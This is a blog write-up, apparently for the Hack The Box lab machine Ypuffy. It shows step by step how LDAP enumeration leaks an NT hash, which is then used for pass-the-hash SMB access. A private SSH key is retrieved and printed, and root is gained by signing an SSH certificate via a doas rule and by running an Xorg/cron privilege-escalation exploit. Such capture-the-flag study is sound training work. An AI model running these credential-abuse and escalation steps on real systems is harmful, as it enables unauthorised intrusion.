5 December 2022

Pentesting Fun Stuff

following the cyber security path…

Ypuffy

# Getting started

Normally I start off with a nmap portscan and from there enumerate my way up.
But because I’m doing OSCP, I have written a program that does the enumeration for me and gives me recommendation according to its findings.
Not because I’m lazy, but normally this will save me time.

██████╗ ███████╗██████╗     ████████╗███████╗ █████╗ ███╗   ███╗    ██╗  ██╗██╗████████╗
██╔══██╗██╔════╝██╔══██╗    ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║    ██║ ██╔╝██║╚══██╔══╝
██████╔╝█████╗  ██║  ██║       ██║   █████╗  ███████║██╔████╔██║    █████╔╝ ██║   ██║
██╔══██╗██╔══╝  ██║  ██║       ██║   ██╔══╝  ██╔══██║██║╚██╔╝██║    ██╔═██╗ ██║   ██║
██║  ██║███████╗██████╔╝       ██║   ███████╗██║  ██║██║ ╚═╝ ██║    ██║  ██╗██║   ██║
╚═╝  ╚═╝╚══════╝╚═════╝        ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝    ╚═╝  ╚═╝╚═╝   ╚═╝
Created by n0w4n
[-] Do you want to save the reports? (y/n) y
[-] Give path for saving the reports (example: /root/rtk/reports/): /root/htb/ypuffy
[-] What is the IP address of the target? 10.10.10.107
[*] Starting a fast TCP portscan on target
[*] Parsing output into a tmp file for further analysis
[*] Starting a TCP full scan on the target with acquired ports
[*] This can take some time
[*] Starting a fast UDP portscan on target
[*] Parsing output into a tmp file for further analysis
[*] There are no open UDP ports......skipping
[*] Creating report
#############################################################################################
[*] Found the following open ports and services on the target:
22	tcp	   OpenSSH 7.7 (protocol 2.0)
80	tcp	   OpenBSD httpd
139	tcp	   Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389	tcp	   (Anonymous bind OK)
445	tcp	   Samba smbd 4.7.6 (workgroup: YPUFFY)
#############################################################################################
[*] The following recommendations can be made:
[*] DOMAIN
Found domain = hackthebox.htb
Found fqdn   = ypuffy.hackthebox.htb
Use command to add to hosts:
  1.) echo 10.10.10.107 hackthebox.htb >> /etc/hosts
[*] SMB
No open shares found!
[*] SSH
Try bruteforcing with the commands:
  1.) hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.107 -t 4 ssh
  2.) hydra -L /usr/share/wordlists/seclists/Usernames/Names/names.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.107 -t 4 ssh
  (If nothing else works - try this as a last resort)
[*] WEB
To enumerate the directories run the command:
1.) python3 <path to dirsearch>/dirsearch.py -u 10.10.10.107 -e php,html,htm,cgi,asp,aspx,pdf,txt -x 400,403,404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
back to (m)ain menu or (e)xit this program?

This small bash script contains a framework that uses a lot of pentesting tools in an semi-automated way.
If you really want to learn what you’re doing, you maybe wanna do all of this stuff manually. But if you know your way around Kali, this tool can save up some time.
After I’m done with OSCP this tool will be posted on GitHub for anyone interested.
Some useful information about OpenBSD LDAP security: http://puffysecurity.com/wiki/ypldap.html
When I try to connect with the webserver I get an error 400 <bad request> and my browser is reset.
But with nc I get another view:

root@kali:~/htb/ypuffy# nc -nv 10.10.10.107 80
(UNKNOWN) [10.10.10.107] 80 (http) open
HTTP/1.0 400 Bad Request
Date: Thu, 03 Jan 2019 11:26:59 GMT
Server: OpenBSD httpd
Connection: close
Content-Type: text/html
Content-Length: 431
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>400 Bad Request</title>
<style type="text/css"><!--
body { background-color: white; color: black; font-family: 'Comic Sans MS', 'Chalkboard SE', 'Comic Neue', sans-serif; }
hr { border: 0; border-bottom: 1px dashed; }
--></style>
</head>
<body>
<h1>400 Bad Request</h1>
<hr>
<address>OpenBSD httpd</address>
</body>
</html>

The use of the HTML address tag is a bit odd. Because there is a public facing LDAP service I try to connect to it with JXplorer.

cn Alice
displayName Alice
gecos Alice
gidNumber 5000
homeDirectory /home/alice1978
loginShell /bin/ksh
sambaNTPassword 0B186E661BBDBDCF6047784DE8B9FD8B
sambaSID S-1-5-21-3933741069-3307154301-3557023464-1001
uid alice1978
uidNumber 5000
userPassword {BSDAUTH}alice1978

We got some info about user Alice.

cn Bob
gecos Bob
gidNumber 5001
homeDirectory /home/bob8791
loginShell /bin/ksh
uid bob8791
uidNumber 5001
userPassword {BSDAUTH}bob8791

And there is some info about user Bob.
The most useful piece of information here is the hash from Alice.
This will grant anyone access to the samba server.
To test this there is a nice tool called crackmapexec. This tool can be used to scan a network and check if the creds can be applied on several machines.
In this case it is just one machine.

root@kali:~# crackmapexec 10.10.10.107 -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B
CME          10.10.10.107:445 YPUFFY          [*] Windows 6.1 Build 0 (name:YPUFFY) (domain:YPUFFY)
CME          10.10.10.107:445 YPUFFY          [+] YPUFFY\alice1978 0B186E661BBDBDCF6047784DE8B9FD8B
[*] KTHXBYE!

It looks like it works. To connect I can use smbclient.py, found in the impacket collection.

root@kali:~/opt/tools/impacket/build/scripts-2.7# ./smbclient.py -hashes :0B186E661BBDBDCF6047784DE8B9FD8B YPUFFY/alice1978@10.10.10.107
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
Type help for list of commands
# shares
alice
IPC$
# use alice
# ls
drw-rw-rw-          0  Tue Jul 31 04:54:20 2018 .
drw-rw-rw-          0  Wed Aug  1 05:16:50 2018 ..
-rw-rw-rw-       1460  Tue Jul 17 03:38:51 2018 my_private_key.ppk
# get my_private_key.ppk
root@kali:~/htb/ypuffy# cat my_private_key.ppk
PuTTY-User-Key-File-2: ssh-rsa
Encryption: none
Comment: rsa-key-20180716
Public-Lines: 6
AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux
BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj
h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw==
Private-Lines: 14
AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF
VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE
cOZ5mYSy4IIRgPdJKwL6NPnrO+qORSSs9uKVqEdmKLm5lat9dRJVtFlG2tZ7tsma
hRM//9du5MKWWemJlW9PmRGY6shATM3Ow8LojNgnpoHNigB6b/kdDozx6RIf8b1q
Gs+gaU1W5FVehiV6dO2OjHUoUtBME01owBLvwjdV/1Sea/kcZa72TYIMoN1MUEFC
3hlBVcWbiy+O27JzmDzhYen0Jq0AAACBANTBwU1DttMKKphHAN23+tvIAh3rlNG6
m+xeStOxEusrbNL89aEU03FWXIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6
l4UVEuHUqnTfEOowVTcVNlwpNM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v
4L9aKFwiMZxfAAAAgQDG+o9xrh+rZuQg8BZ6ZcGGdszZITn797a4YU+NzxjP4jR+
qSVCTRky9uSP0i9H7B9KVnuu9AfzKDBgSH/zxFnJqBTTykM1imjt+y1wVa/3aLPh
hKxePlIrP3YaMKd38ss2ebeqWy+XJYwgWOsSw8wAQT7fIxmT8OYfJRjRGTS74QAA
AIEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2iI5c
QLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+Wuvl
xTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts=
Private-MAC: 208b4e256cd56d59f70e3594f4e2c3ca91a757c9

# Remote access

This is a ppk file which is a file format used by Windows program PuTTY. To convert this key I use a tool called puttygen.

root@kali:~/htb/ypuffy# puttygen my_private_key.ppk -O private-openssh -o private.key
root@kali:~/htb/ypuffy# chmod 600 private.key
root@kali:~/htb/ypuffy# ssh -i private.key alice1978@10.10.10.107
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy$ id
uid=5000(alice1978) gid=5000(alice1978) groups=5000(alice1978)
ypuffy$ ls
user.txt windir
ypuffy$ cat user.txt
acbc06eb2982b14c2756b6c6e3767aab

First flag. On to root.

ypuffy$ awk -F : '$3 >= 1000 {print $0}' /etc/passwd
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
appsrv:*:1000:1000:Application Server:/var/appsrv:/sbin/nologin
userca:*:1001:1001:User CA:/home/userca:/bin/ksh

It looks like my current user is a non-user and the only user on this system is userca.

ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

On OpenBSD there is a command that is similar like the sudo command and that is doas. This command let you run commands as someone else.
In this case alice can run the command ssh-keygen as userca. Maybe this will give the opportunity to generate new ssh-keys and get them signed.
Because ssh seems to be playing an important role in this scenario I took a look at the SSH server config file: /etc/ssh/sshd_config

...SNIP...
# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile      .ssh/authorized_keys
#AuthorizedPrincipalsFile none
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
...SNIP...

For the AuthorizedKeysCommand and AuthorizedPrincipalsCommand there is a curl command that tries to retrieve keys from an user (placeholder %u).
There is a webserver running, but it was not accessible from the outside. What is in the config file?

ypuffy$ cat /etc/httpd.conf
server "ypuffy.hackthebox.htb" {
        listen on * port 80
        location "/userca*" {
                root "/userca"
                root strip 1
                directory auto index
        }
        location "/sshauth*" {
                fastcgi socket "/run/wsgi/sshauthd.socket"
        }
        location * {
                block drop
        }
}

Let’s see what running the curl command retrieves.

ypuffy$ curl http://127.0.0.1/sshauth?type=principals&username=root
[1] 40045
ypuffy$ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
[1] + Done                 curl http://127.0.0.1/sshauth?type=principals

Hmmmm…..that doesn’t look right.

ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=root"
3m3rgencyB4ckd00r

Much better. When using curl you need to encase the entire string in quotes for it to accept parameters.
Normally I would think this is a password for root or something similar.
But after a login try as root that didn’t work. Therefor I gues (after reading the ssh document) it’s a principal name.
I have used SSH a lot, but mostly as user when it was fully configured.
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-creating_ssh_ca_certificate_signing-keys has some interesting information about the use of creating ssh keys and certificates.
So this link is a good read about creating a chain-of-trust and how to set up a SSH CA structure.
According to the sshd config file it looks like the TrustedUserCAKeys are in /home/userca/ca.pub.
I’m going to create a public key on my kali host, transport it to the remote host and sign it there with the private key from userca.
Hopefully this will grant me access as root.

root@kali:~/htb/ypuffy/ssh# ssh-keygen -t rsa -f ./id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:DB3UuFQzQf8z67vOXGwnkRPgZ8jf2JmSul3Ho7gKYQk root@kali
The key's randomart image is:
+---[RSA 2048]----+
|       .o=*..    |
|       .o..* o   |
|     E....  = +  |
|      .oo    =.*o|
|       +S    oXoo|
|      . .   . .O |
|       .   .  ooB|
|        .   ++o++|
|         ..+.+Bo |
+----[SHA256]-----+

Now to copy the files to the remote host.

root@kali:~/htb/ypuffy/ssh# scp -i ../private.key id* alice1978@10.10.10.107:/tmp/n0w4n/
id_rsa                                                                                                                                                                          100% 1811    70.3KB/s   00:00
id_rsa.pub

And finally signing my public key with the private key found in /home/userca/ca.
It’s important here to use the found principal name in the signing command.

ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I n0w4n -n 3m3rgencyB4ckd00r /tmp/id_rs>
Signed user key /tmp/id_rsa-cert.pub: id "n0w4n" serial 0 for 3m3rgencyB4ckd00r valid forever

It looks like the signing is successful.
Lets see if it worked.

ypuffy$ ssh -i id_rsa -l root 127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

And finally for the flag.

ypuffy# cat /root/root.txt
1265f8e0a1984edd9dc1b6c3fcd1757f

# Alternate exploit

If you don’t want to do all the hassle with SSH, keys and signing there is an alternate way of rooting this box.
There is a fairly new xorg-x11-server vulnerability which can be exploited using OpenBSD’s cron.
The exploit can be found here: https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm

ypuffy$ vi exploit.sh
...[PASTING THE SCRIPT]...
ypuffy$ chmod +x exploit.sh
ypuffy$ ./exploit.sh
./opt.sh[10]: ptor_xorgasm: not found
raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron
Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
X.Org X Server 1.19.6
Release Date: 2017-12-20
X Protocol Version 11, Revision 0
Build Operating System: OpenBSD 6.3 amd64
Current Operating System: OpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64
Build Date: 24 March 2018  02:38:24PM
Current version of pixman: 0.34.0
        Before reporting problems, check http://wiki.x.org
        to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
        (++) from command line, (!!) notice, (II) informational,
        (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "crontab", Time: Thu Jan  3 16:21:01 2019
(==) Using system config directory "/usr/X11R6/share/X11/xorg.conf.d"
(EE) Segmentation fault at address 0x8
(EE)
Fatal server error:
(EE) Caught signal 11 (Segmentation fault). Server aborting
(EE)
(EE)
Please consult the The X.Org Foundation support
         at http://wiki.x.org
 for help.
(EE) Please also check the log file at "crontab" for additional information.
(EE)
(EE) Server terminated with error (1). Closing log file.
Be patient for a couple of minutes...
Don't forget to cleanup and run crontab -e to reload the crontab.
-rw-r--r--  1 root  wheel  4814 Jan  3 16:21 /etc/crontab
-rwsrwxrwx  1 root  wheel  7257 Jan  3 16:23 /usr/local/bin/pwned
ypuffy# id
uid=0(root) gid=0(wheel) groups=5000(alice1978)

And the final step….

ypuffy# cat root.txt
1265f8e0a1984edd9dc1b6c3fcd1757f

Not really the way you wanna do this box as it is more a script kiddie way which doesn’t teach you a thing.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.